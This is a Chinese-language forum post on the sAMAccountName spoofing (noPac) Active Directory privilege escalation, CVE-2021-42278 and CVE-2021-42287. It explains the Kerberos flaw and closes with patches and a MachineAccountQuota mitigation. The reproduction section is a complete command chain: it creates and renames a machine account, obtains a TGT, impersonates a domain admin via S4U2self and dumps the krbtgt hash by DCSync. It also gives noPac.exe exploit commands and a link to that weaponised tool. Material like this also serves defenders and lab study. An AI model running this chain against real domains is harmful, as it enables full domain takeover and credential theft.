標題:sAMAccountName spoofing

taibeihacker

Moderator

SAM-AccountName spoofing​

1 背景​

2021 年11 月,有兩個漏洞CVE-2021-42278 CVE-2021-42287 被露,兩個漏洞組合可導致域內普通用戶權限提升至域管權限。

1.1 CVE-2021-42278​

windows 域內的機器賬戶的名字以$ 結尾,但DC 沒有對域內機器賬戶名做驗證。與CVE-2021-42287 結合使用,它允許攻擊者冒充域控制器賬戶。

1.2 CVE-2021-42287​

在kerberos 認證過程中,用戶要訪問某個服務,在獲取服務票據ST 之前,需要申請TGT票據。該漏洞的核心為:當請求的服務票ST 沒有被KDC 找到時,KDC 會自動在尾部添加$ 重新搜索。
如果A 用戶獲得申請了TGT,然後刪除A 用戶或重命名A 用戶。並使用該TGT 進行S4U2self 以其它用戶身份請求一張ST 給他自己,導致KDC 在Account Database 中尋找A$。如果帳戶A$ 存在,那麼A 就會像其他用戶一樣為A$獲得一張服務票據。
因此,機器賬戶改名為和DC 機器賬戶一樣,然後申請TGT,接著把用戶名修改掉,使得DC 在TGS_REP 時候找不到該賬戶,這時會用自己的密鑰加密服務票據ST,然後就是得到了一個高權限ST。

1.3 sAMAccountName​

根據微軟官方文檔中的定義:
SAM-Account-Name 用於支持運行早期版本操作系統的客戶端和服務器的登錄名,例如Windows NT 4.0、Windows 95、Windows 98 和LAN Manager。實際上是以「Domain\LogonName 」形式命名。
其Ldap-Display-Name 為:sAMAccountName。故該組合漏洞又被稱為:sAMAccountName spoofing
此處還有一種用戶命名屬性,是目前域環境中常用的一種:UPN
userPrincipalName屬性是用戶的登錄名。 屬性由UPN (用戶主體) ,這是用戶最常見的登錄Windows 名稱。 用戶通常使用其UPN 登錄到域。
UPN 由UPN 前綴(用戶帳戶名)和UPN 後綴(DNS 域名)組成。 前綴與後綴以@ 符號相聯接。 UPN 必須在目錄林中的所有安全主體對象之間保持唯一。 這意味著可以重複使用UPN 的前綴,只是不能使用相同的後綴。
例如:
域名:pentest.lab
SAM-Account-Name:win11user
NetBIOS 登錄名:pentest.lab\win11user
UserPrincipalName:[email protected]
202112171553067.png-water_print

1.4 SAM-Account-Type​

SAM-Account-Type 包含了域內帳戶類型對象的信息。可以枚舉帳戶類型的列表,也可以使用顯示信息API 來創建列表。由於計算機、普通用戶帳戶和信任帳戶還可以枚舉為用戶對象。

2 漏洞复现​

前提:需要對屬性sAMAccountName 和servicePrincipalName 具有寫權限。由於默認情況下MAQ 特性,域內普通用戶可以創建10 個機器賬戶,而創建者對於機器賬戶具有寫權限,當然可以更改這兩個屬性。
首先創建一個機器賬戶,使用impacket 的addcomputer.py 或是powermad
技巧
addcomputer.py 是利用SAMR協議創建機器賬戶,這個方法所創建的機器賬戶沒有SPN,所以可以不用清除。
然後清除機器賬戶的servicePrincipalName 屬性
將機器賬戶的sAMAccountName,更改為DC 的機器賬戶名字,注意後綴不帶$
為機器賬戶請求TGT
將機器賬戶的sAMAccountName 更改為其他名字,不與步驟3 重複即可
通過S4U2self 協議向DC 請求ST
DCsync
步驟如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
# 1. clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
# 2. rename the computer (computer - DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
# 6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
武器化工具地址:https://github.com/cube0x0/noPac
掃描:noPac.exe scan -domain pentest.lab -user win11user -pass P@ssword
202112122016658.png-water_print

利用:
noPac.exe scan -domain pentest.lab -user win11user -pass P@ssword /dc dc.pentest. lab /mAccount demol /mPassword pAss123! /service cifs /ptt
202112122016522.png-water_print

查看內存中的票據,發現已經存在dc 的cifs 服務票據:
202112122017939.png-water_print

202112122017582.png-water_print

Dcsync:
202112122018112.png-water_print

3 缓解措施​

微軟官方已推出補丁:KB5008602、KB5008380
通過域控的ADSI 編輯器工具將AD 域的MAQ 配置為0,中斷此漏洞的利用鏈(但如果當前用戶對域內某台機器賬號擁有GenericALL、GenericWrite、WriteProperty 權限仍能修改SAMAccountName 屬性),具體查詢方式如下:
1
2
3
4
5
# 列出所有機器賬號
Get-ADComputer -Filter * -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion -Wrap -Auto
# 權限查詢
Get-DomainObjectAcl ControlledComputer -ResolveGUIDs |?{$_.securityidentifier -eq (get-domainuser win11user).objectsid}
202112171648030.png-water_print

202112171648542.png-water_print

参考​

 
返回
上方